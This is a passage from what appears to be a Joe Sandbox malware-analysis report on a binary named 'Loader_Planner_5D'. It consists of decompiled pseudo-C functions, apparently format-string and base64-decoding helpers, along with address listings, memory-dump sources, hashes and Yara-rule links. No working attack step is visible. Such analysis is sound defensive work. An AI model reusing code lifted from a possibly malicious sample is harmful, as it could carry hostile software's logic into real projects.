				return E00007FF77FF710641DF0( !( *(_t150 + 0x10) >> 2) & 0x00000001, 0x300, _v40 ^ _t188 - 0x000000c0);
			}

0x7ff71065abe4
0x7ff71065abe4
0x7ff71065abe4
0x7ff71065abe4
0x7ff71065abe4
0x7ff71065abe9
0x7ff71065abf9
0x7ff71065ac00
0x7ff71065ac03
0x7ff71065ac0b
0x7ff71065ac0e
0x7ff71065ac13
0x7ff71065ac1e
0x7ff71065ac1e
0x7ff71065ac2d
0x7ff71065ac44
0x7ff71065ac46
0x7ff71065ac4e
0x7ff71065ac5c
0x7ff71065ac61
0x7ff71065ac65
0x7ff71065ac6b
0x7ff71065ac74
0x7ff71065ac82
0x7ff71065ac97
0x7ff71065acab
0x7ff71065acad
0x7ff71065acb6
0x7ff71065acc1
0x7ff71065acc3
0x7ff71065acc8
0x7ff71065accd
0x7ff71065ace6
0x7ff71065acec
0x7ff71065acfb
0x7ff71065acfd
0x7ff71065ad14
0x7ff71065ad26
0x7ff71065ad36
0x7ff71065ad3f
0x7ff71065ad54
0x7ff71065ad69
0x7ff71065ad6f
0x7ff71065ad72
0x7ff71065ad76
0x7ff71065ad7c
0x7ff71065ad7e
0x7ff71065ad82
0x7ff71065ad89
0x7ff71065ad8f
0x7ff71065ad95
0x7ff71065ad9c
0x7ff71065ad9e
0x7ff71065ada7
0x7ff71065adb7
0x7ff71065adbd
0x7ff71065adcc
0x7ff71065adce
0x7ff71065add6
0x7ff71065add8
0x7ff71065ade5
0x7ff71065adea
0x7ff71065adf6
0x7ff71065adf8
0x7ff71065adfb
0x7ff71065ae04
0x7ff71065ae0e
0x7ff71065ae15
0x7ff71065ae1f
0x7ff71065ae24
0x7ff71065ae27
0x7ff71065ae34
0x7ff71065ae39
0x7ff71065ae3b
0x7ff71065ae40
0x7ff71065ae4a
0x7ff71065ae4c
0x7ff71065ae53
0x7ff71065ae55
0x7ff71065ae57
0x7ff71065ae5b
0x7ff71065ae62
0x7ff71065ae68
0x7ff71065ae71
0x7ff71065ae84
0x7ff71065aeb8

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: ErrorLastValue$CurrentFeatureInfoLocalePresentProcessProcessor
String ID:
API String ID: 2071376764-0
Opcode ID: 5f350d51ec8ade796bc209163575853602ca81e5d21b6be0f7c5d403d890d4f1
Instruction ID: 0182b40beabeaf9d863772126bcd34309679d098e08cc68672064dd0be88d373
Opcode Fuzzy Hash: 5f350d51ec8ade796bc209163575853602ca81e5d21b6be0f7c5d403d890d4f1
Instruction Fuzzy Hash: D8B1C272A08B4682EB64AF21D4116BDB3B2EB44BE8F844235DA59837C5DF3CF549C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710655540 Relevance: .2, Instructions: 198
COMMONCrypto

Download Yara Rule

C-Code - Quality: 47%

			E00007FF77FF710655540(void* __rax, long long __rbx, unsigned int* __rcx, void* __rdx, void* __rdi, long long __rsi, void* __r8, void* __r9, long long _a8, long long _a16, intOrPtr _a40, intOrPtr _a48, void* _a64, long long _a80) {
				long long _v48;
				signed long long _v56;
				long long _t37;
				long long _t44;
				unsigned int* _t49;
				void* _t51;
				void* _t58;

				_a8 = __rbx;
				_a16 = __rsi;
				_t58 = __r8;
				_t49 = __rcx;
				if (__rdx != 0) goto 0x10655590;
				_t44 = _a80;
				_v48 = _t44;
				 *((char*)(_t44 + 0x30)) = 1;
				 *((intOrPtr*)(_t44 + 0x2c)) = __rdx + 0x16;
				_v56 = _v56 & 0x00000000;
				r9d = 0;
				r8d = 0;
				E00007FF77FF71064A0C8(__rax, __rbx, _t44, __rdx, __rsi, _t51, __r8);
				goto 0x106557ff;
				if (_t58 != 0) goto 0x106555b0;
				_t37 = _a80;
				_v48 = _t37;
				 *((char*)(_t37 + 0x30)) = 1;
				 *((intOrPtr*)(_t37 + 0x2c)) = 0x16;
				goto 0x10655574;
				if (__r9 == 0) goto 0x10655595;
				if (_a40 == 0) goto 0x10655595;
				if (_a48 == 0x41) goto 0x106555db;
				if (_t44 - 0x45 - 2 <= 0) goto 0x106555db;
				sil = 0;
				goto 0x106555de;
				sil = 1;
				if (0 != 0) goto 0x106556d5;
				if ( *_t49 >> 0x34 != 0x7ff) goto 0x106556d5;
				r8d = 0xc;
			}

0x7ff710655540
0x7ff710655545
0x7ff71065554f
0x7ff710655555
0x7ff71065555b
0x7ff71065555d
0x7ff710655568
0x7ff71065556d
0x7ff710655571
0x7ff710655574
0x7ff71065557a
0x7ff71065557d
0x7ff710655584
0x7ff71065558b
0x7ff710655593
0x7ff710655595
0x7ff7106555a2
0x7ff7106555a7
0x7ff7106555ab
0x7ff7106555ae
0x7ff7106555b3
0x7ff7106555c0
0x7ff7106555cc
0x7ff7106555d4
0x7ff7106555d6
0x7ff7106555d9
0x7ff7106555db
0x7ff7106555e9
0x7ff710655604
0x7ff710655617

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39c64d7daa85889fe78586c0632363cf09c422c729377dfa21e37c5c642ca942
Instruction ID: 0967b131235bcb991f85edaf10d373ad39b18e7cc710dcfc5dd2c3a7d84ef3fd
Opcode Fuzzy Hash: 39c64d7daa85889fe78586c0632363cf09c422c729377dfa21e37c5c642ca942
Instruction Fuzzy Hash: DE812672A0CB8186E774DF19905437AB6A2FB497E4F904235DA8E87B95DF3CF0088B10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710633180 Relevance: .2, Instructions: 194
COMMONCrypto

Download Yara Rule

C-Code - Quality: 63%

			E00007FF77FF710633180(long long __rbx, long long __rcx, intOrPtr* __rdx, long long __rbp, long long _a24, long long _a32) {
				void* _v40;
				signed int _v56;
				char _v288;
				char _v296;
				char _v312;
				long long _v320;
				void* __rsi;
				void* _t121;
				signed long long _t138;
				intOrPtr _t148;
				intOrPtr* _t166;
				void* _t173;
				intOrPtr _t196;
				void* _t203;
				void* _t205;
				intOrPtr _t206;
				signed long long _t208;
				void* _t210;
				void* _t212;
				signed long long _t221;
				long long _t222;

				_a24 = __rbx;
				_a32 = __rbp;
				_t213 = _t212 - 0x140;
				_t138 =  *0x10689010; // 0xafe3859a1ce3
				_v56 = _t138 ^ _t212 - 0x00000140;
				_t166 = __rdx;
				_t222 = __rcx;
				_v320 = __rcx;
				_t206 =  *((intOrPtr*)(__rdx + 0x10));
				r8d = 0xf8;
				E00007FF77FF7106441A0();
				E00007FF77FF710633880(0, __rdx,  &_v312, _t206, __rbp);
				if ((sil & 0x00000003) != 0) goto 0x106333fe;
				if ( *((long long*)(_t166 + 0x18)) - 0x10 < 0) goto 0x106331fb;
				goto 0x10633203;
				_t173 =  !=  ? _t206 : _t206 - 1;
				_t221 =  !=  ? _t173 : _t173 - 1;
				_t208 = _t221 & 0xfffffffc;
				if ( *((char*)(_t166 + _t173 - 1)) - 0x3d <= 0) goto 0x1063331b;
				_t121 =  *((long long*)(_t166 + 0x18)) - 0x10;
				if (_t121 < 0) goto 0x1063323f;
				goto 0x10633248;
				if (_t121 < 0) goto 0x1063324b;
				E00007FF77FF710634310((( *( *((char*)( *_t166 + _t203 + 1)) + 0x1067c650) & 0x000000ff) >> 0x00000004 & 0x00000003) + (( *( *((char*)(_t166 + _t203)) + 0x1067c650) & 0x000000ff) << 2), _t166,  &_v296);
				_t196 =  *((intOrPtr*)(_t166 + 0x18));
				if (_t196 - 0x10 < 0) goto 0x10633289;
				goto 0x10633299;
				if (_t196 - 0x10 < 0) goto 0x1063329c;
				E00007FF77FF710634310((( *( *((char*)( *_t166 + _t203 + 2)) + 0x1067c650) & 0x000000ff) >> 0x00000002 & 0x0000000f) + (( *( *((char*)(_t166 + 1 + _t203)) + 0x1067c650) & 0x000000ff) << 4), _t166,  &_v296);
				_t148 =  *((intOrPtr*)(_t166 + 0x18));
				if (_t148 - 0x10 < 0) goto 0x106332db;
				goto 0x106332eb;
				if (_t148 - 0x10 < 0) goto 0x106332ee;
				E00007FF77FF710634310((( *( *((char*)(_t166 + 2 + _t203)) + 0x1067c650) & 0x000000ff) << 6) +  *((intOrPtr*)( *((char*)( *_t166 + _t203 + 3)) + 0x1067c650)), _t166,  &_v296);
				if (_t203 + 4 - _t208 < 0) goto 0x10633230;
				if (_t208 - _t221 >= 0) goto 0x106333fe;
				_t205 = _t208 + 1;
				if (_t205 - _t221 >= 0) goto 0x1063334d;
				if ( *((long long*)(_t166 + 0x18)) - 0x10 < 0) goto 0x1063333a;
				goto 0x1063334f;
				if ( *((long long*)(_t166 + 0x18)) - 0x10 < 0) goto 0x1063335c;
				E00007FF77FF710634310(( *( *((char*)( *_t166 + _t208)) + 0x1067c650) & 0x000000ff) << 2, _t166,  &_v296);
				_t210 = _t208 + 2;
				if (_t205 - _t221 >= 0) goto 0x106333c7;
				if (_t210 - _t221 >= 0) goto 0x106333a3;
				if ( *((long long*)(_t166 + 0x18)) - 0x10 < 0) goto 0x10633390;
				goto 0x106333a5;
				if ( *((long long*)(_t166 + 0x18)) - 0x10 < 0) goto 0x106333b2;
				goto 0x106333c9;
				E00007FF77FF710634310(0, _t166,  &_v296);
				if (_t210 - _t221 >= 0) goto 0x106333f2;
				if ( *((long long*)(_t166 + 0x18)) - 0x10 < 0) goto 0x106333e2;
				_t167 =  *_t166;
				goto 0x106333f4;
				E00007FF77FF710634310(0,  *_t166,  &_v296);
				E00007FF77FF710634260( *((char*)( *_t166 + _t208 + 2)),  &_v288, _t222);
				return E00007FF77FF710641DF0(E00007FF77FF710633450(_t167,  &_v312, _t208), 0, _v56 ^ _t213);
			}

0x7ff710633180
0x7ff710633185
0x7ff710633192
0x7ff710633199
0x7ff7106331a3
0x7ff7106331ab
0x7ff7106331ae
0x7ff7106331b1
0x7ff7106331b8
0x7ff7106331be
0x7ff7106331c9
0x7ff7106331d3
0x7ff7106331dd
0x7ff7106331ec
0x7ff7106331f9
0x7ff710633203
0x7ff710633213
0x7ff710633221
0x7ff710633225
0x7ff710633230
0x7ff710633235
0x7ff71063323d
0x7ff710633246
0x7ff71063326f
0x7ff710633274
0x7ff71063327c
0x7ff710633287
0x7ff710633297
0x7ff7106332c0
0x7ff7106332c5
0x7ff7106332cd
0x7ff7106332d9
0x7ff7106332e9
0x7ff710633309
0x7ff710633315
0x7ff71063331e
0x7ff710633324
0x7ff71063332b
0x7ff710633335
0x7ff71063334b
0x7ff710633357
0x7ff710633370
0x7ff710633375
0x7ff71063337c
0x7ff710633381
0x7ff71063338b
0x7ff7106333a1
0x7ff7106333ad
0x7ff7106333c5
0x7ff7106333ce
0x7ff7106333d6
0x7ff7106333dd
0x7ff7106333df
0x7ff7106333f0
0x7ff7106333f9
0x7ff710633406
0x7ff710633444

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6353ce7f3f9ec7d6137a303e30aaea76074dc7bc26ec9692375cba8e1f243358
Instruction ID: d999e29a75b16eab3c2083e2bf7d5c85d13a044e67d2ab3c785e6dc6d6ba992c
Opcode Fuzzy Hash: 6353ce7f3f9ec7d6137a303e30aaea76074dc7bc26ec9692375cba8e1f243358
Instruction Fuzzy Hash: BB81B312618DA141FB05AB26D0953BDA723EB51FA5FC4C031DA6E0B7D6CE2DE64EC390

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71064BBD8 Relevance: .1, Instructions: 137
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E00007FF77FF71064BBD8(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rsi, long long __rbp, void* __r8, void* __r10, long long _a8, long long _a16, long long _a24) {
				long long _v16;
				signed long long _v24;
				intOrPtr _t86;
				signed int _t90;
				void* _t110;
				intOrPtr _t111;
				signed int _t118;
				intOrPtr _t129;
				void* _t133;
				void* _t143;
				intOrPtr _t149;

				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t133 = __rcx;
				bpl = __edx;
				_t86 =  *((intOrPtr*)(__rcx + 0x34));
				_t110 = _t86 - 5;
				if (_t110 > 0) goto 0x1064bcbf;
				if (_t110 == 0) goto 0x1064bc28;
				_t111 = _t86;
				if (_t111 == 0) goto 0x1064bd13;
				if (_t111 == 0) goto 0x1064bc97;
				if (_t111 == 0) goto 0x1064bc70;
				if (_t111 == 0) goto 0x1064bd13;
				if (_t86 - 0xffffffffffffffff != 1) goto 0x1064bcdf;
				_t90 =  *(__rcx + 0x28);
				 *((intOrPtr*)(__rcx + 0x18)) =  *((intOrPtr*)(__rcx + 0x18)) + _t143;
				if ((_t90 >> 0x00000004 & 0x00000001) == 0) goto 0x1064bc5a;
				if ( *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x18)) - 8)) >= 0) goto 0x1064bc5a;
				 *(__rcx + 0x28) = _t90 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0x1064bd3e;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0x1064bd55;
				 *((long long*)(__rcx + 0x18)) =  *((long long*)(__rcx + 0x18)) + 8;
				if (( *(__rcx + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x1064bc91;
				goto 0x1064bc43;
				goto 0x1064bc43;
				 *((long long*)(__rcx + 0x18)) =  *((long long*)(__rcx + 0x18)) + 8;
				_t118 = dil &  *(__rcx + 0x28) >> 0x00000004;
				if (_t118 == 0) goto 0x1064bcb9;
				goto 0x1064bc43;
				goto 0x1064bc43;
				if (_t118 == 0) goto 0x1064bc28;
				if (_t118 == 0) goto 0x1064bc28;
				if (_t118 == 0) goto 0x1064bc28;
				goto 0x1064bc16;
				_t129 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t129 + 0x30)) = 1;
				 *((intOrPtr*)(_t129 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(__rcx + 8));
				_v24 = _v24 & 0x00000000;
				E00007FF77FF71064A0C8( *((intOrPtr*)(__rcx + 8)), __rcx, __rcx, __rdx,  *((char*)( *((intOrPtr*)(__rcx + 0x18)) - 8)), __rbp, __r8);
				goto 0x1064bda8;
				 *((long long*)(_t133 + 0x18)) =  *((long long*)(_t133 + 0x18)) + 8;
				if (0 == 0) goto 0x1064bd36;
				_t149 =  *((intOrPtr*)( *((intOrPtr*)(_t133 + 0x18)) - 8));
				goto 0x1064bc43;
				goto 0x1064bc43;
				 *(_t133 + 0x28) =  *(_t133 + 0x28) & 0xfffffff7;
				_t51 = _t133 + 0x50; // 0xc8
				E00007FF77FF71064B880(_t133, _t51,  *((intOrPtr*)(_t133 + 0x30)), _t149,  *((intOrPtr*)(_t133 + 8)));
				if (_t149 != 0) goto 0x1064bd5e;
				 *(_t133 + 0x28) =  *(_t133 + 0x28) & 0xffffffdf;
				 *((char*)(_t133 + 0x4c)) = 0;
				r8b = bpl;
				if (_t143 != 8) goto 0x1064bd78;
				E00007FF77FF71064C340(0, _t133, _t149);
				goto 0x1064bd7f;
				E00007FF77FF71064C190( *((intOrPtr*)( *((intOrPtr*)(_t133 + 0x18)) - 8)), _t133);
				if (0 == 0) goto 0x1064bda6;
				if ( *((intOrPtr*)(_t133 + 0x48)) == 0) goto 0x1064bd98;
				if ( *((char*)( *((intOrPtr*)(_t133 + 0x40)))) == 0x30) goto 0x1064bda6;
				 *((long long*)(_t133 + 0x40)) =  *((long long*)(_t133 + 0x40)) - 1;
				 *((char*)( *((intOrPtr*)(_t133 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t133 + 0x48)) =  *((intOrPtr*)(_t133 + 0x48)) + 1;
				return 1;
			}

0x7ff71064bbd8
0x7ff71064bbdd
0x7ff71064bbe2
0x7ff71064bbec
0x7ff71064bbef
0x7ff71064bbf2
0x7ff71064bbf5
0x7ff71064bbf8
0x7ff71064bbfe
0x7ff71064bc00
0x7ff71064bc02
0x7ff71064bc0b
0x7ff71064bc14
0x7ff71064bc19
0x7ff71064bc22
0x7ff71064bc28
0x7ff71064bc30
0x7ff71064bc4a
0x7ff71064bc4f
0x7ff71064bc57
0x7ff71064bc5e
0x7ff71064bc64
0x7ff71064bc6b
0x7ff71064bc78
0x7ff71064bc88
0x7ff71064bc8f
0x7ff71064bc95
0x7ff71064bc9f
0x7ff71064bca9
0x7ff71064bcb0
0x7ff71064bcb7
0x7ff71064bcbd
0x7ff71064bcc2
0x7ff71064bccb
0x7ff71064bcd4
0x7ff71064bcda
0x7ff71064bcdf
0x7ff71064bce3
0x7ff71064bce6
0x7ff71064bced
0x7ff71064bcf1
0x7ff71064bcfc
0x7ff71064bd01
0x7ff71064bd07
0x7ff71064bd0e
0x7ff71064bd1b
0x7ff71064bd2b
0x7ff71064bd2d
0x7ff71064bd31
0x7ff71064bd39
0x7ff71064bd49
0x7ff71064bd4c
0x7ff71064bd50
0x7ff71064bd58
0x7ff71064bd5a
0x7ff71064bd5e
0x7ff71064bd62
0x7ff71064bd6c
0x7ff71064bd71
0x7ff71064bd76
0x7ff71064bd7a
0x7ff71064bd87
0x7ff71064bd8d
0x7ff71064bd96
0x7ff71064bd98
0x7ff71064bda0
0x7ff71064bda3
0x7ff71064bdbc

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91b964efca1e2eb7698e73cc685d1e97963d36816d76c92d765d6ef83a4a4a60
Instruction ID: 4c39c4549cdbcac4e654f3fa98c1285bac383f4dcf73a303407996febb01e804
Opcode Fuzzy Hash: 91b964efca1e2eb7698e73cc685d1e97963d36816d76c92d765d6ef83a4a4a60
Instruction Fuzzy Hash: EE519372E08D1182E72C9F24C09433CA7A2EB55B68F942135CE4997799CF29FC45C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71064BDC0 Relevance: .1, Instructions: 137
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E00007FF77FF71064BDC0(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rsi, long long __rbp, void* __r8, void* __r10, long long _a8, long long _a16, long long _a24) {
				long long _v16;
				signed long long _v24;
				intOrPtr _t86;
				signed int _t90;
				void* _t110;
				intOrPtr _t111;
				signed int _t118;
				intOrPtr _t129;
				void* _t133;
				void* _t143;
				intOrPtr _t149;

				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t133 = __rcx;
				bpl = __edx;
				_t86 =  *((intOrPtr*)(__rcx + 0x34));
				_t110 = _t86 - 5;
				if (_t110 > 0) goto 0x1064bea7;
				if (_t110 == 0) goto 0x1064be10;
				_t111 = _t86;
				if (_t111 == 0) goto 0x1064befb;
				if (_t111 == 0) goto 0x1064be7f;
				if (_t111 == 0) goto 0x1064be58;
				if (_t111 == 0) goto 0x1064befb;
				if (_t86 - 0xffffffffffffffff != 1) goto 0x1064bec7;
				_t90 =  *(__rcx + 0x28);
				 *((intOrPtr*)(__rcx + 0x18)) =  *((intOrPtr*)(__rcx + 0x18)) + _t143;
				if ((_t90 >> 0x00000004 & 0x00000001) == 0) goto 0x1064be42;
				if ( *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x18)) - 8)) >= 0) goto 0x1064be42;
				 *(__rcx + 0x28) = _t90 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0x1064bf26;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0x1064bf3d;
				 *((long long*)(__rcx + 0x18)) =  *((long long*)(__rcx + 0x18)) + 8;
				if (( *(__rcx + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x1064be79;
				goto 0x1064be2b;
				goto 0x1064be2b;
				 *((long long*)(__rcx + 0x18)) =  *((long long*)(__rcx + 0x18)) + 8;
				_t118 = dil &  *(__rcx + 0x28) >> 0x00000004;
				if (_t118 == 0) goto 0x1064bea1;
				goto 0x1064be2b;
				goto 0x1064be2b;
				if (_t118 == 0) goto 0x1064be10;
				if (_t118 == 0) goto 0x1064be10;
				if (_t118 == 0) goto 0x1064be10;
				goto 0x1064bdfe;
				_t129 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t129 + 0x30)) = 1;
				 *((intOrPtr*)(_t129 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(__rcx + 8));
				_v24 = _v24 & 0x00000000;
				E00007FF77FF71064A0C8( *((intOrPtr*)(__rcx + 8)), __rcx, __rcx, __rdx,  *((char*)( *((intOrPtr*)(__rcx + 0x18)) - 8)), __rbp, __r8);
				goto 0x1064bf90;
				 *((long long*)(_t133 + 0x18)) =  *((long long*)(_t133 + 0x18)) + 8;
				if (0 == 0) goto 0x1064bf1e;
				_t149 =  *((intOrPtr*)( *((intOrPtr*)(_t133 + 0x18)) - 8));
				goto 0x1064be2b;
				goto 0x1064be2b;
				 *(_t133 + 0x28) =  *(_t133 + 0x28) & 0xfffffff7;
				E00007FF77FF71064B880(_t133, _t133 + 0x50,  *((intOrPtr*)(_t133 + 0x30)), _t149,  *((intOrPtr*)(_t133 + 8)));
				if (_t149 != 0) goto 0x1064bf46;
				 *(_t133 + 0x28) =  *(_t133 + 0x28) & 0xffffffdf;
				 *((char*)(_t133 + 0x4c)) = 0;
				r8b = bpl;
				if (_t143 != 8) goto 0x1064bf60;
				E00007FF77FF71064C3BC(_t133, _t149);
				goto 0x1064bf67;
				E00007FF77FF71064C20C( *((intOrPtr*)( *((intOrPtr*)(_t133 + 0x18)) - 8)), _t133, _t149);
				if (0 == 0) goto 0x1064bf8e;
				if ( *((intOrPtr*)(_t133 + 0x48)) == 0) goto 0x1064bf80;
				if ( *((char*)( *((intOrPtr*)(_t133 + 0x40)))) == 0x30) goto 0x1064bf8e;
				 *((long long*)(_t133 + 0x40)) =  *((long long*)(_t133 + 0x40)) - 1;
				 *((char*)( *((intOrPtr*)(_t133 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t133 + 0x48)) =  *((intOrPtr*)(_t133 + 0x48)) + 1;
				return 1;
			}

0x7ff71064bdc0
0x7ff71064bdc5
0x7ff71064bdca
0x7ff71064bdd4
0x7ff71064bdd7
0x7ff71064bdda
0x7ff71064bddd
0x7ff71064bde0
0x7ff71064bde6
0x7ff71064bde8
0x7ff71064bdea
0x7ff71064bdf3
0x7ff71064bdfc
0x7ff71064be01
0x7ff71064be0a
0x7ff71064be10
0x7ff71064be18
0x7ff71064be32
0x7ff71064be37
0x7ff71064be3f
0x7ff71064be46
0x7ff71064be4c
0x7ff71064be53
0x7ff71064be60
0x7ff71064be70
0x7ff71064be77
0x7ff71064be7d
0x7ff71064be87
0x7ff71064be91
0x7ff71064be98
0x7ff71064be9f
0x7ff71064bea5
0x7ff71064beaa
0x7ff71064beb3
0x7ff71064bebc
0x7ff71064bec2
0x7ff71064bec7
0x7ff71064becb
0x7ff71064bece
0x7ff71064bed5
0x7ff71064bed9
0x7ff71064bee4
0x7ff71064bee9
0x7ff71064beef
0x7ff71064bef6
0x7ff71064bf03
0x7ff71064bf13
0x7ff71064bf15
0x7ff71064bf19
0x7ff71064bf21
0x7ff71064bf31
0x7ff71064bf38
0x7ff71064bf40
0x7ff71064bf42
0x7ff71064bf46
0x7ff71064bf4a
0x7ff71064bf54
0x7ff71064bf59
0x7ff71064bf5e
0x7ff71064bf62
0x7ff71064bf6f
0x7ff71064bf75
0x7ff71064bf7e
0x7ff71064bf80
0x7ff71064bf88
0x7ff71064bf8b
0x7ff71064bfa4

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a595148431bbcdcf83b607cc77e310f39f673ee297fcdb257f36cc52ab65d25
Instruction ID: 816a8ff510b287636f7ec3fb14ba89c33989dfbf9042437a291c1a6b77fc65d2
Opcode Fuzzy Hash: 3a595148431bbcdcf83b607cc77e310f39f673ee297fcdb257f36cc52ab65d25
Instruction Fuzzy Hash: EB51B473A08D5182E768AF34C05427CA7A2EB95BA8F542135DF0D97799CF28FC49C790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71064BFA8 Relevance: .1, Instructions: 137
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E00007FF77FF71064BFA8(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rsi, long long __rbp, void* __r8, void* __r10, long long _a8, long long _a16, long long _a24) {
				long long _v16;
				signed long long _v24;
				intOrPtr _t86;
				signed int _t90;
				void* _t110;
				intOrPtr _t111;
				signed int _t118;
				intOrPtr _t129;
				void* _t133;
				void* _t143;
				intOrPtr _t149;

				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t133 = __rcx;
				bpl = __edx;
				_t86 =  *((intOrPtr*)(__rcx + 0x34));
				_t110 = _t86 - 5;
				if (_t110 > 0) goto 0x1064c08f;
				if (_t110 == 0) goto 0x1064bff8;
				_t111 = _t86;
				if (_t111 == 0) goto 0x1064c0e3;
				if (_t111 == 0) goto 0x1064c067;
				if (_t111 == 0) goto 0x1064c040;
				if (_t111 == 0) goto 0x1064c0e3;
				if (_t86 - 0xffffffffffffffff != 1) goto 0x1064c0af;
				_t90 =  *(__rcx + 0x28);
				 *((intOrPtr*)(__rcx + 0x18)) =  *((intOrPtr*)(__rcx + 0x18)) + _t143;
				if ((_t90 >> 0x00000004 & 0x00000001) == 0) goto 0x1064c02a;
				if ( *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x18)) - 8)) >= 0) goto 0x1064c02a;
				 *(__rcx + 0x28) = _t90 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0x1064c10e;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0x1064c125;
				 *((long long*)(__rcx + 0x18)) =  *((long long*)(__rcx + 0x18)) + 8;
				if (( *(__rcx + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x1064c061;
				goto 0x1064c013;
				goto 0x1064c013;
				 *((long long*)(__rcx + 0x18)) =  *((long long*)(__rcx + 0x18)) + 8;
				_t118 = dil &  *(__rcx + 0x28) >> 0x00000004;
				if (_t118 == 0) goto 0x1064c089;
				goto 0x1064c013;
				goto 0x1064c013;
				if (_t118 == 0) goto 0x1064bff8;
				if (_t118 == 0) goto 0x1064bff8;
				if (_t118 == 0) goto 0x1064bff8;
				goto 0x1064bfe6;
				_t129 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t129 + 0x30)) = 1;
				 *((intOrPtr*)(_t129 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(__rcx + 8));
				_v24 = _v24 & 0x00000000;
